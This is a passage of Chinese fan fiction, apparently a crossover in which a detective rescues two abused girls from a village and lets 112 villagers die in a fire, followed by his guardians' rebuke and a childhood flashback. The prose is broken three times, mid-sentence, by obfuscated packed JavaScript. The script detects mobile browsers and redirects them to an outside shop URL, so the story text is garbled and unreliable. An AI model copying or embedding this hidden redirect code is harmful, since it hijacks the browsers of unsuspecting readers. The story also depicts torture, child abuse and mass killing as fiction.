吃完午饭就可以安心睡个觉,等到醒过来,在四五点的样子,出门闲逛一会儿便到了做饭的时候。 夜饭后就又到休息的时候了。 这便是村子里大多老人的营生,而村上便属于其中一位。 卡在月亮攀在夜幕边缘的时候出门,他恰好遇到了同样去田地的西村,彼此颔首打了个招呼,便自然地结伴而行了。 “这阵子的暑热实在折磨,半夜时能被热醒好几次,那些蚊子也烦人,怎么弄都死不完。” 的确啊,这段时间就算是在树荫下,那刺服的热气仍然挥散不去,每一次到夏天的时候都折磨的紧。 村上叹了口气,正是因为太热了,所以他才选择在最清凉的早间出门,“这些年的收成真是越来越少了。” “应该是有那两个家伙存在的原因吧,哼,一想到她们就感觉很晦气啊。” 西村说着啐了口唾沫,嫌恶之色浓得化不开。 所以说,平日看起来和善的人也有不为人知的一面啊,村上想着,默认了西村说的话。 说到底他也是这个村里的人。 “不过最近倒是清净很多,没有听到那两个怪物恼人的哭声了。” “听说是更小的那个把大藏家的孩子打伤,被村长关在一处没有用的仓库里了,话说啊,她们真的能够看到我们看不见的东西吗?” “毕竟是怪物啊,或许就是她们招引来的也说不定,啊……西村,你看那边是不是坐着个什么东西?” “什么?” 手电筒的光束照向不远处阴影汇聚、杂草丛生的角落。 这里从前住着一个独身老人,因为平时从不交际,自然与村中人的关系也不亲近。 他是死在冬天的,但直到春寒都快过去了才有人路过看到,帮忙收了尸。 那里还堆放着他生前存放的,已经生了霉斑的木材,泥土堆砌的屋子外疯长的草丛快有半个人高了。 这些在白天时并不起眼,但在天未亮的时候瞥见一眼,还是显得有点骇人了。 空旷的门口与窗洞像是土房上生出的五官,张大着嘴巴仿佛在发出无声的哀嚎。 风一吹,吹动被手电筒照亮的草,影影绰绰间,一道修长的黑影若隐若现。 这在信奉鬼神的山村里实在过于吓人了,看着隐隐要从“嘴巴”里出来的黑影,两个老人家都被吓得不轻。 恐慌的呼喊与踉跄的脚步声交织在一起,他们朝着来时路疯狂地奔逃而去,原地只留下了一个猝然摔在地面,光束时暗时亮的手电筒。 “………” 不紧不慢的脚步声响起,暗色短靴踩过草丛,鞋尖抵住了还在滚动的手电筒。 光束照亮一只戴着手套、轮廓修长匀称的手。 “好小的手电筒。” “毕竟是一个封闭落后的山村。” 又有两道身影从暗处中走出,藤原千学整理着帽子,走在抱着纸伞的尾崎红叶身后。 他这次没戴眼镜,漆黑的眼瞳没入夜色。 “接下来要去哪里?”绫辻行人推了推手电筒的开关,问。 这次案件在进入山村的半小时内就破了,在藤原千学指出凶手与证据时,绫辻行人的异能力就是最好的佐证。 本来是打算立即回酒店的,毕竟有人在一小时前就不停说着困。 藤原千学却说再等等。 他问绫辻行人:“想不想去那里看看?” 哪里? 绫辻行人抽了口烟,他猜到了藤原千学指的是什么。 另一个世界。 没想到刚过来就听到了疑似犯罪的对话。 不太亮的光束落在被压紧实了的泥土上,这里的时间是在黎明前刻,绫辻行人回想着刚才听到的话语,走在藤原千学身后。 “……好像不会动了。” 在已经能够看到村庄的影子的地方,绫辻行人突然听到有人说话。 他看向藤原千学。 直觉告诉绫辻行人,这就是藤原千学带着他穿越世界壁的原因。 “该不会死了吧?” 心虚的声音,嗯?怎么只有心虚,如果不小心杀死一个人……最多的情绪不应该是惊慌失措吗。 绫辻行人有些生疏地爬上树木,很快便跟着藤原千学来到了一处仓库的顶部。 这座仓库废弃已久,顶部瓦片脱落,偶有老鼠从其中跑窜,于是在听到头顶窸窸窣窣的动静,底下的人也只认为又是几只该死的老鼠,怒骂几声便没再管。 内部弥漫的木头腐化而产生的气味让绫辻行人不适地皱起眉,但很快又看向仓库里的几道身影。 “不要瞎想,她们还在喘气呢,应该是休克过去了吧。”灰衣服的人说着,又重重踹了躺在地面的身影几脚。 是两个孩子? 这是要做什么?这是那两个小孩的长辈?还是单纯的想欺负人……绫辻行人皱眉,又看向了藤原千学。 藤原千学捂住口鼻,朝他比了个稍安勿躁的手势。 “真是顽强的生命啊。” 是之前听到的那道心虚声音。 绫辻行人转移视线。 厌恶又带着点害怕,在害怕什么?那两个小孩吗? “所以说不愧是怪物,居然怎么折磨都不会死亡……村长真是明察秋毫啊,自从把她们关在这里之后,似乎天气也没有那么热了。” “尾崎,打晕他。” “幸亏她们的父母都死了,不然我们还找不到机会——啊!你是谁?!” 屋顶坍塌带落的尘屑四起,碎块坠落地面荡开这处废弃已久之地的灰尘。 接近清晨,已经稀薄得看不见的月光通过坍塌的洞口落下,黯淡低披在来人宽大的斗篷上。 他用一双平静古怪的黑色眼睛盯着被屋顶砸到,慌乱狼狈地跌坐在地面的两个人。 穿着和服的无脸人影浮现,举起棍剑,披风在它肩头无风自动,翻涌着含满战意的波纹。 在寂静中,木屐踩踏的声音突然响起。 梳着发髻的红发少女轻飘飘地看了他们一眼,随即走近昏厥的两个孩子身前,仔细检查着两人伤势。 没有人敢动。 棍剑的锋芒如同收割生命的镰刀,来自地狱的眼睛在注视他们。 居高临下地看着已经被吓得说不出话的两个人,藤原千学蹲下身。 “被吓到了啊。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755029|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他低声语道,从随身的小包里掏出枪。 “……藤原侦探。” 藤原千学扭头,对上尾崎红叶担心的眼神,填装子弹的动作停了一秒,“不会死人。” 安抚完尾崎红叶之后,他便举起了枪,对准眼神愈发惊恐的两个人。 真言子弹,有问必答。 就算是哑巴也必须写出一个答案来。 一声枪响。 有人发出痛不欲生的尖叫。 “现在告诉我,为什么称呼她们为怪物?” “……” “为什么把她们关在这里?” “……” “你们欺负她们,是为了驱魔,还是为了私心?” “……” 安静,持续的安静。 挂在树梢的蝉鸣成为这里唯一的声音。 藤原千学面无表情转过身,滴着血液的衣摆垂落在小腿侧,连续三发子弹带来的后坐力让他手臂开始颤抖,连着肩胛骨也微微发痛。 “把她们带回去。” 金色夜叉抱起伤痕累累的两个孩子,尾崎红叶抱起昏迷的绫辻行人,与藤原千学同时抬脚,踏出了这满是腐朽与血腥气味的地方。 “我们该怎么安置她们?” 从刚才藤原千学的一系列提问中,尾崎红叶隐约猜到了两个女孩是这个世界的“异能者”。 尾崎红叶不确定带回去后她们会不会出现问题。 毕竟不是同一个世界的人。 “治好后,送去上学。” 对此早有预谋的藤原千学回答:“然后加入侦探社。” 从回答中得知两个孩子不会出事,尾崎红叶又有了新的疑惑,“为什么不是先加入侦探社再去上学?” “侦探社不需要文盲。” “……” 到达两个世界的缝隙,走在最前面的藤原千学说:“你先过去。” 等到尾崎红叶带着人穿过缝隙,藤原千学仍旧站在原地,没有动。 “藤原侦探?” 尾崎红叶唤了一声,“没有危险,快过来吧。” “站远一点。” 她直觉有什么不对,望着藤原侦探,不愿意挪动脚步。 “不会有事。” 藤原千学说,“这里很安全。” 直到缝隙内一切都开始蒙上厚重的雾气,连带着男孩的身影也模糊起来,藤原千学才说:“好了。” 尾崎红叶看着远处的侦探向后迈了一步。 刹那间,她听到了爆炸声起。 震耳欲聋,翻天覆地。 耳鸣响起的一瞬间,尾崎红叶看到了一团火焰将远处的身影紧紧裹起。 ——“藤原侦探!” 突兀地出现在四周,宛若盛开的玫瑰花般的火焰瞬间将这座山村合拢。 触之即焚的黑红色焰火慢慢在地面绘画出一道图腾,无数漂浮在空中的火焰缠上衣领、发梢与附近的屋舍。 “事情解决了。” 烈火的燃烧声中,在所有被爆炸惊醒的村民看待怪物的惊恐与怨毒目光下,迅速被火焰缠身的侦探抬头,像是没有痛意般,朝金色夜叉伸出开始融化的手。 他仍旧用那一副平静到讨人厌的语调说着话: “我们回侦探社吧。” 50.第 50 章 【档案编号:T-341-████】 【档案状态:未公开】 【异能力:无(存疑)】 一、【能力简述】: 1.已确认具备自主穿越平行世界或维度(报告中称为“世界壁”)的能力,并可携带同行者。 具体原理、限制及消耗未知。 2.卓越的洞察与推理能力。 3.具备一定枪械使用技巧与极高的战术决断力。 4.表现出对疼痛的极高耐受性,其心理状态存在需高度关注的偏执与潜在暴力倾向。 二、【心理与行为分析】: 1.大部分情况下冷静、果断,具备优秀的领导力,偶尔会表现出极端的冷酷和残忍,对人有超乎寻常的敏感度与敌意,具有并不明显的保护倾向。 2.心理创伤分析: 「核心症状」:对成年人存在极度恐惧与不信任感,推测其童年曾遭受来自成年人的严重侵害(如长期监禁或绑架) 「触发条件与行为表现」: ①发病期——身处密闭空间且周围存在成年人时触发。 表现为典型的创伤后应激障碍症状:拒绝物理接触、社交退缩(不进行任何交流)、并伴随恐慌发作。 ②功能期——在空旷地带其创伤症状显著缓解,能够保持高度冷静。 只要满足部分条件,其决策与行动能力不受影响,甚至更为高效。 ③密闭空间与成年人的存在可能使其丧失全部行动能力,而针对特定情况下的暴行则可能直接引爆其压抑的暴戾情绪,导致失控。 「风险评估:高。」 「行动难以预测,容易使用超出必要限度的破坏性手段,极度不可控,其判断标准主观,情绪存在不稳定迹象。」 「建议方案:————」 三、【关键事件记录:██村事件(摘要)】 事件编号: ICD-E-██-01 时间:█年█月█日 地点:██村 事件概述:在完成案件调查后,主动滞留并引导另外两人前往另一世界,并于该世界一废弃仓库内,发现两名被村民称为“怪物”,实为本土异能者(实际名称不详)的女童遭受长期囚禁与虐待。 审问施暴者过程中情绪出现显著波动,在获取情报途中时,对施暴者实施了非致命性但极具惩戒性质的攻击。 在确保同伴安全撤离之后,于山村中心引燃黑红色火焰(存疑) 后续处理:██村112人全数死亡,经确认,事件与其无关。两名受害者被其带回,计划进行救治与教育,并预备引入武装侦探社。 T-341-████严重烧伤,性命垂危。 【档案更新日期:——年——月——日】 【归档员:夏目漱石】 …… …… 世界进一步融合的表现,便是原本只会出现在咒术世界的山村,出现在了异能世界,且除去两个小咒术师外,其余村民全部重合。 也就相当于,在那个世界死亡,这个世界的村民也会以相同的方式死亡。 藤原千学原本是没想这样做的,他原定的计划,只有在绫辻行人的见证下,把这个导致夏油杰叛逃的最后两根稻草,带回侦探社。 其他的,什么大火,什么屠村,乃至于角色卡大面积烧伤这种事——他完全没有想过。 神隐的剧本里压根就不会出现这种伤敌八百自损一千的故事情节! 他只是想偷偷告诉绫辻行人一个秘密,然后拉近关系,让这个家伙不要再来挑衅自己。 真的没有想过要把这事闹得人尽皆知。 在发现机关的第一时间,搭档就把这个机关从粒子到成为零件、组成炸弹的全过程查完了。 ——全部线索都指向了一个该死的俄罗斯人。 藤原千学睁开眼,无言地盯着头顶刺眼的白光灯。 这里是异能特务课的病房,只有他一个人,周围很安静,一点脚步声也听不到。 要不是搭档提前扫描到了那个经过三次踩踏,就会瞬间发动的炸弹,而藤原千学又主动将危险揽在身上的话——要是让另外两个人触发,死的就是116个人了。 他还是不懂。 藤原千学才来到这个世界半年多一点的时间,费奥多尔为什么会对这张角色卡产生那么大的杀意? 关键那个机关…… 是之前的禅院甚尔弄的。 他不知道伏黑甚尔到底帮这个该死的俄罗斯人做了多少事。 不出意外的话,每个存在世界缝隙的地方,估计都已经被设了陷阱。 得知这个消息,伏黑隐满脑子只有一个想法——他不在的日子里,伏黑甚尔到底被费奥多尔低价嫖了多少次? 在与谢野晶子紧急赶到福冈,为藤原千学治疗的同时,还在帮五条悟投射长发青年影像,贼喊抓贼的伏黑隐突然烦躁地揉揉额头,迅速取出手机,给伏黑甚尔打了个电话。 星浆体事件里伏黑甚尔全程没有参与,于是也不需要在五条悟面前过多避讳。 他勒令伏黑甚尔把那段时间做的全部破事,还有做破事的准确地点列成一个清单发给他——并再一次强调,不要再接那个骗子的单子。 挂断电话,伏黑隐一转头,就看到了二年级三个人竖起耳朵斜着身子,明目张胆偷听的举动。 “……” 无奈之下,他主动把山村那件事修饰了一下,讲述给了好奇的前辈们。 “所以小隐的那个诅咒师朋友,多了两个女儿?” 五条悟的关注点永远很奇怪。 “嗯……不知道伏黑的诅咒师朋友今年多少岁,二十岁左右,算是英年早育吧?” 家入硝子思想也被带偏了。 唯有夏油杰,他在担心伏黑隐,“他杀了112个人,会不会影响到你?” “不会的,总监会不清楚我当黑医时候的事情。” 伏黑隐将布丁盖在盘子上,这是夏油杰从六本木带回来的伴手礼,味道非常不错。 浓郁而纯粹的芝士如奶油般在嘴里化开,白发学弟满足地眯起眼睛,“他被抓到也不会出卖我的。” 因为根本抓不到。 不管是费奥多尔,还是伏黑甚尔,还是藤原千学。 在这其中,最好抓的是天与暴君。 “小隐很信任他们啊。” “肯定的啦,毕竟是我认可的朋友嘛。” 一杯奶茶放到伏黑隐的面前,他顺着匀称修长的指节往上看,看到了夏油杰的笑脸。 “所以小隐的朋友,是因为禅院家的那位天与咒缚,才不得不杀人的?” 夏油杰刻意咬重了“不得不”三个字的读音。 “对,他总是在闯祸。” 现在对恋人十分不满的伏黑隐忿忿不平道,“改掉之后,下一次又会闯出新的祸,全是我在帮忙扫尾!” “听起来一点都不体谅小隐啊,他有感谢过小隐吗?” “感谢……” 伏黑隐思考,然后表情更生气了,“他从来没有感谢过我!” 家入硝子抽出烟盒,好心帮了好友一把,“人渣啊。” “没错,他就是一个……” 一串铃声打断了伏黑隐的话语,白发学弟取出手机关掉闹铃,伤心地哀叹一声,“我要回监禁室了。” 是的,伏黑隐的禁闭还没有结束。 闻言,还在仔细观察长发青年的五条悟满不在乎地说:“有老子在,小隐完全不用去那个鬼地方嘛。” 这种话几乎每天都能听到。 “不用啦学长,在那里我还玩得蛮开心的,而且只剩下最后一天了,也没有多久。” 所以伏黑隐每天都在拒绝。 往常时候,五条悟会叫嚷着骂几句总监会,又蠢蠢欲动试图把伏黑隐留在宿舍,虽然最后都不会成功。 但今天不知道怎么回事,五条悟没有选择挽留,他问了一个伏黑隐意料之外的问题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757810|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小隐是不是没把我们当朋友?” 已经打开宿舍门的伏黑隐闻言,感到奇怪的停在原地,“诶?前辈原来想和我成为朋友吗?” 五条悟炸毛:“你果然一直没把老子当朋友!” “因为不知道学校里的朋友应该怎么界定。”伏黑隐握住门把手,不好意思地抿唇一笑,“也不知道前辈们是怎么想的,所以就一直没有迈过这条线。” 他半只脚踏出房门。 “既然前辈这样说,那么我们现在就是朋友了。” 在合上门前,白发学弟笑着朝宿舍里的三个前辈挥挥手,“那么我们明天见。” ”悟,杰,还有硝子。” “……” 等到过道外学弟轻松的脚步声远去,家入硝子从呆住的夏油杰口袋里摸出打火机,咔嚓一声点上烟。 “第一次从伏黑嘴里听到自己的名字,好新奇。” 虽然说不是黑头发的隐。 “老子一说,隐就改称呼了。” 五条悟一只脚踩在沙发上,哈哈大笑起来,“老子果然最受隐的欢迎!” 这个时候,夏油杰才慢慢捂住脸。 来自数年前的燥热再次蔓延上少年心头,生怕又得到嘲笑的他甚至不敢抬起头看向挚友。 如果是那个隐的话…… 大概会愣一下,然后再捧腹大笑,嘲笑悟又在白日做梦了。 不过他究竟是怎么变成未来那个隐的呢? 在害羞之余,夏油杰又不住地思索着。 是在高专时期改变的吗? 他期待又踟蹰着。 毕竟现在的隐很好。 但真正带他步入、并完全认识这个世界的,还是黑头发的隐啊。 …… …… 藤原千学盯着灯发了好长一段时间的神,才后知后觉发现自己的掌心有着什么。 细散,柔软,尖端有些刺。 是连夜从长崎赶回横滨的江户川乱步。 他坐在陪护床上,半边身体压住了藤原千学的被子,应该是帮忙取针时不小心睡着了。 藤原千学翻了个身,抬起另一只手在少年头上揉了揉。 按理来说,被【请君勿死】治疗好的病人,应该不需要输液了才对,看着手背上的针孔,藤原千学思索一番,觉得估计是葡萄糖。 这一觉前所未有的舒服。 掌心下的头突然侧了过来,一路风尘仆仆的少年微微睁开了翠绿的眼。 “千学?” 少年惺忪的嗓音有些黏糊,像是将梦里的糖浆搅拌着带回了现实。 名侦探的斗篷落下,他摘下眼镜,朝病床上的藤原千学张开双臂,两人拥抱住时,少年熟练地蹭进了洁白被褥里。 凌乱的头发不停剐蹭着颈窝,痒痒的。 “千学。”江户川乱步抱住他,像抱了只大型玩偶,这是名侦探做噩梦时最喜欢的姿势,“千学你饿吗?” 藤原千学其实不怎么饿,但对上乱步眼睛时,莫名的,心里升起一种很奇怪的感觉,仿佛有一根木头在轻轻敲击着心脏,不痛不痒,不上不下。 很难受。 像是刚刚犯下罪行之人不敢直视侦探的眼睛,想立马移开视线。 藤原千学垂眼,又看到少年掩不住疲惫的脸。 “……嗯。” 听到肯定的回答,江户川乱步登时露出笑脸,“我就知道千学肯定饿啦。” 他就着这个姿势拿起电话,点了一大堆菜。 “千学这次不可以挑食了。” “嗯。” 被愧疚操控了思想的藤原千学什么都答应。 餐食送的很快,没到一会儿就响起了敲门声,江户川乱步睁开眼睛,下床去了门口。 接着是门板开合,还有木屐踏地的声音。 提着饭盒进来的人是福泽谕吉。 “……” 答应过福泽谕吉要听话的藤原千学默默的,默默的把被子拉到了头顶。 51.第 51 章 “千学。” 福泽谕吉的语气听不出喜怒,他面色平静的将饭菜摆好,“起来吃饭。” 藤原千学磨蹭着放下被子。 吃饭的过程与平常没什么两样,乱步仍然在与他分享着自己遇到的好玩事情。 藤原千学嘴里嚼着里脊肉,时不时应答一两声,平时挑剔的饭菜如今一点不敢扔,他们夹什么自己就吃什么。 等到彻底吃不下,他才推开碗筷,拒绝了江户川乱步夹来的蔬菜。 没想到第一次吃完一整碗饭居然会是在这种时候。 他趴在桌子上,看着两人收拾碗筷。 江户川乱步还在说着话,他的语速越来越快,必须聚精会神去听才能听得完全。 藤原千学听着听着,心中慢慢升起不祥的预感。 ——“所以千学面对爆炸不跑,也是因为遇到了什么好玩的事情吗?” 果然, 图穷匕见。 藤原千学又想缩进被子里了。 江户川乱步预判了他的动作,提前压住被角,让藤原千学当不了缩头乌龟。 “千学为什么不回答?” 藤原千学拉了拉身上的病号服,“……我是伤患。”不要对一个大病初愈的伤患做这样冷酷残忍的事情。 耳边传来重重一声瓷碗碰桌的声音,自得知消息之后,就一直处于愤怒状态的福泽谕吉沉下脸,“你原来知道自己的身份。” “做这种事的时候,你有想过后果吗?藤原千学。” “要是我不这样做,尾崎红叶他们也会死。” 说到后面,藤原千学声音越来越低,最后不去看福泽谕吉的眼睛,“而且我不是没有出事吗……” “藤原千学!” 被突如其来的大喊吓了一跳,藤原千学手一抖,怀里的枕头掉在被子上。 “但是,”藤原千学少见地结巴了,“但是我真的是知道自己不会出事,才这样做的啊。” “……” 福泽谕吉胸膛起伏,把人吓到的愧疚和听到话语时更高一层的怒火相冲突,竟噎得他一时说不出话来。 藤原千学重新抱起枕头,把下半张脸蒙进棉花里,发现另一个人也没有说话,悄悄一抬眼,就对上了江户川乱步的眼睛。 “千学,但凡晶子晚到一分钟,你就真的死了。” 明显在等着他与自己对视的江户川乱步抬手,按住藤原千学试图掩耳盗铃的手,“千学知道自己离死亡有多近吗?” 藤原千学:“知道……” 紧接着他又解释道:“但我不会出错,我是知道你们会来救我,我才这样做的。” 福泽谕吉沉声:“万一出错了呢?” “我不会出错。” 刚刚整理好情绪的福泽谕吉不由自主按了按胸口,“这个世界没有绝对的可能。” 藤原千学下意识回道:“我就是那个不会出错的可能。” 随后像是意识到了自己在说些什么,穿着病号服的男孩沉默顷刻,反思了一下,又觉得好像没什么问题,“嗯,没错,我不会出错。” 心梗。 比当初发现乱步自己设计自己被绑架的事情之后还要心梗。 无法言说的情绪夹杂着早有的怒火,一路冲上福泽谕吉心头。 人生三十余年,福泽谕吉头一次差点被情绪冲昏头脑,但谨记老师所言“不能太过刺激这个孩子”的他还是强迫着自己咽下了很多话语与斥责。 江户川乱步突然说: “千学,你害死了112个人。” “……” “不对。” 又是一阵短暂的沉默之后,藤原千学否定了自己的罪,“我救了四个人,没有我,死的会有116个人。” “千学认为自己做的是对的?” “嗯。” 这难道不对吗? 藤原千学眨眼。 “那为什么不提前告知红叶,让她多救走几个人?”江户川乱步轻声问,“因为千学知道,他们都是该死之人,所以选择袖手旁观吗?” “嗯。” 藤原千学点头,他没有隐瞒的打算,“法律不会让他们受到多大惩罚。” “然后你就这样做了。” 看着福泽谕吉越听越差的脸色,藤原千学认真思索了一小会儿,坦白道: “那场爆炸是用来杀我的,不管我去哪里,它都会出现,不是他们死,也会有其他人受到牵连,所以我找了他们。” “你那么着急离开,就是因为这个?” 那当然不是。 他是去找那两个孩子的。 本来想让伏黑白去,但想起那只是一个傻子,理论上去不到那么远地方的藤原千学想。 结果绫辻行人要去的地方也是那里,这倒是让他忍不住开始阴谋论了。 ——该死的费奥多尔。 “嗯。” 他又撒谎了。 藤原千学补充道:“这次结束,短时间内我都不会再有麻烦,我可以回侦探社了。” “没有绫辻行人,千学原本是打算去哪里?” “擂钵街。” 看两人反应,估计把锅盖到了西园寺身上……咳,反正都是自己的角色卡,只要让西园寺躲着他们走就行了。 “红叶不答应的话,千学会偷偷离开吗?” “会。” 再晚点她们就被关地窖里去了。 “为什么?”这句话是福泽谕吉问的。 “你们知道,会担心。” 就像现在这样。 发现江户川乱步将手松开了,藤原千学默默拉起了被子。 有点冷了。 他想。 “那场爆炸必然发生,那千学为什么不找一个没人的地方。” “……” 江户川乱步又问:“千学,那些人的命呢?” “我挑的人,肯定都是该死的人。” 不假思索的回答让福泽谕吉的心冷了冷。 江户川乱步的表现却很平静,仿佛他和藤原千学一样,认为这是件很正常的事情。 “千学觉得自己也是该死的人吗?” 这个问题…… 藤原千学顿了顿,随即迅速否定,“不,我不会死。” 不提与谢野晶子的异能力,角色卡本身也有锁血挂,不管怎么作都是不会死的。 “为什么会那么确定?因为有我们在吗?是知道我们不会放弃你,笃定晶子一定会对你使用异能力吗?” 江户川乱步接连不断的问话让藤原千学往后缩了缩,“嗯。” 他将被子拉过鼻梁,眼睛垂下。 “你们说过不会丢掉我的。” “这不是你肆意挥霍我们感情的理由,藤原千学。”江户川乱步说,“没有人会包容你这种做法,还有你对生命的漠视。” “112条人命,还有你的生命,这件事,没有人会包容你。” 这是江户川乱步第一次对自己展露这样严肃的表情。 冷利的翠绿色眼睛倒映出他始终没有表情的身影,片刻的无言之后,藤原千学松开被子,冰凉的掌心小心翼翼盖住江户川乱步压在床榻上的手。 “不要生气,乱步。” 他向来喜欢用问题回答问题,再不济言语中也多少会藏点刀刃,长年累月的习惯下来,导致每每想要说些好话时都无法正常的遣词造句,一字一句僵硬至极。 藤原千学擅长用谎言编织答案,用哭泣得到谅解,诸多说出过的言语凝聚成一粒宇宙中的尘埃,不起眼到宇宙本身根本看不见。 但偏偏就在今天,他在一双翠绿的眼睛里看到了这一粒尘埃。 尘埃落地,在蓬勃的绿意中耸立如山。 压得早已备好的狡辩四分五裂,再呈不出来。 于是他只能如此苍白的说——不要生气。 那只手被立即反握住,有些人的体温是怎么也捂不热的,江户川乱步在很早之前就明白这个道理。 最开始的藤原千学不管是眼睛还是手心,都冷得像具早已死去的尸体。 金玉其表,败絮其中。 腐烂的血肉大块大块填充在这具空洞的身体里,等待着有朝一日,彻底承受不住体内的气压完全炸开,将腐败的液体与血肉喷洒,腐蚀掉整个世界。 江户川乱步放软声音:“千学知道自己错在哪里了吗?” 藤原千学认真思考了一番。 最后答:“我不应该瞒着你们。” ——而尸体是不会对其他人的死亡产生半点同理心的。 “错了。” “全部都做错了。” 江户川乱步和福泽谕吉同时开口。 这异口同声的否定让藤原千学有些迷茫,“可是我从来没有做错过。” “因为你从前待过的环境本身就是错误的。” 福泽谕吉其实并不知晓藤原千学的从前,除去这过分偏激的性格,还有那位金发的黑手党之外,藤原千学将一切过去都隐瞒的很好。 但这样的性格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763400|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定然是在扭曲的环境中养成的。 言行举止,德才学识。 ——他被培养成了难以步入光明的性格。 这是他的老师,夏目漱石对藤原千学的评价。 而有错误就要改正。 绫辻行人已经确定过那112个人的死亡,本身与千学无关——他没有因【Another】死亡,这是唯一的,也是最为权威的证据。 那么就是想要杀死千学的那个人的罪了。 “错误?” 藤原千学疑惑地看向监护人,这次轮到他问这个“为什么”了。 想要让藤原千学认可正确的正义,这不是件容易的事情,稍有不慎,就会让他成为整个横滨的灾难。 最好的解决方式,应该是让他回到黑暗中去。 回到让他感到舒适的世界里去。 面对老师的建议,福泽谕吉沉思了很久,最终,在黄昏到来之前得到了自己的答案——他依赖于我。 就像是鸟雀栖息于树,所见之景是森林或荒原,潮湿或干燥,都由这棵树来决定。 直到被大风刮折、斧头砍断之前,这棵树都是鸟雀的栖身之所,依赖所在。 夏目漱石叹息一声,又说,藤原千学不同于这世间任何一个孩子,聪明往往代表着固执,他的灵魂已经成型,想要再去改变必然不是易事。 他给福泽谕吉看了一条路。 蜿蜒曲折,漫长无边,落定在一座又一座连绵起伏的山脉间。 恰好在这个时候,福冈那边传来突然的恶讯。 他带着与谢野晶子赶到的时候,只看见近乎绷成一条直线的心电图,还有被火焰啃食到血肉模糊的藤原千学。 他似乎每一次出门都会遇到危险,一次比一次要严重。 而每一次,都是主动去迎接的危险。 从那一刻起就落下决心的福泽谕吉说:“你以前所待的环境,学习的东西,全部,都与你未来要生活的环境完全相反,所以,它们全部都是错误的。” 他不是会说长篇大论的人,大半生的杀手生涯让福泽谕吉更加沉默寡言,道理与言辞,那都不是他擅长的东西。 但不论是呵斥还是戒尺,于藤原千学而言都可能引发从前的糟糕回忆,这是只能一个个捡、一个个拼的碎玻璃,需要极大的耐心与包容才可以完全复原。 这一件事,只能福泽谕吉与江户川乱步来做。 “……” 藤原千学果然愣住了。 所有人,乃至一切生物在不想面对时的反应都一样,都是想要逃避的。 江户川乱步做好了拉住藤原千学的准备,这是他和福泽谕吉商量后,觉得必须要做的、也只有他们两个人能够做到的事情之一。 ——必须要让藤原千学知道,他现在所生活的环境与从前一切的区别。 但藤原千学的反应出乎了他们意料。 漫长的愣怔过后,坐在病床上的人只是缓声问了一句,“这一次我做了错事,你们会惩罚我吗?” 现在的藤原千学看起来很听话,也不顽固,柔软到可以变成任何他们想要的模样。 江户川乱步抢先福泽谕吉一步回答:“会。” 没想到会是他说出这句话,藤原千学明显又愣了愣,随后安静地望向江户川乱步,等待着接下来的话。 “千学未来三年的时间都必须和我在一起,去哪里都必须一起。” ……就这啊。 没想到会如此轻轻放下,半分钟前还在和搭档疯狂讨论怎么哄人的藤原千学点了点头。 人要顺梯子而下。 “还有必须听大家的话,不能离家出走,做事情之前一定要和社长说,不管什么事。” 以为至少会被限制出门的藤原千学点头。 “不准单独行动!” 点头。 “不准挑食!” 点头。 “不准有除了乱步之外的朋友!除非乱步同意!” ……看了看福泽谕吉,继续点头。 见他毫不反对地应下这些“惩罚”,名侦探大人嘴角不受控制地上扬,他晃了晃两个人交握的手,“还有,千学以后每天都要送乱步——” “砰!” “好痛!” 得意忘形的名侦探被英勇伟岸的社长大人制裁了。 看着眼泪花花抱着自己,并大声抱怨社长力气太大的江户川乱步,藤原千学轻轻揉着少年头发,视线移向福泽谕吉。 他主动问道:“我应该怎么做?” 52.慧极必伤[番外] 怪物诞下怪物,怪物养育怪物。 怪物杀死怪物,怪物成为怪物。 ……… ………… “来,小千学——笑一个。” 千学闻声抬头,朝青年所在方向露出乖巧的笑容。 瘦弱年幼的身体甚至没有路边的围栏高,梳理整齐的墨发下明眸皓齿,咔嚓一声响,洗出的照片上现出粉雕玉琢的一尊洋娃娃。 是所有成年人都会喜欢的一张脸。 他看起来天生就该精雕细琢地养,众星捧月地长,像每一个童话中的小王子,被一切美好的事物所亲吻着,宠溺着。 苦难,疼痛,饥饿。 这样绝望的词汇不应该出现在他的身上。 ……… …… 藤原千学睁开眼睛,从亲父身后向笼中看去。 “这是你的领地,小千学。” 将他带回的父亲握住他肩膀,将他向前推,推到笼子前,推向一张张挤在铁栏后、因恐惧而扭曲的脸。 “这是你的奴隶,你的物品,小千学,你想用他们做什么都可以。” 做什么都可以。 阴暗潮湿的城堡内,空气裹挟着腥锈味 藤原千学拿起钥匙。 做什么都可以。 钥匙插入锁孔,发出沉闷的转动声。 做什么? 四岁的孩子打开笼子,希望人群像白鸽一样从笼中飞出,飞往天空,飞往自由。 书上说,即使是被折断翅膀的飞鸟,也应该拥有生与死,自由或囚困的选择权。 父亲夸赞他冰雪聪明,将来定会做出一番大成就,成为举世闻名的大人物。 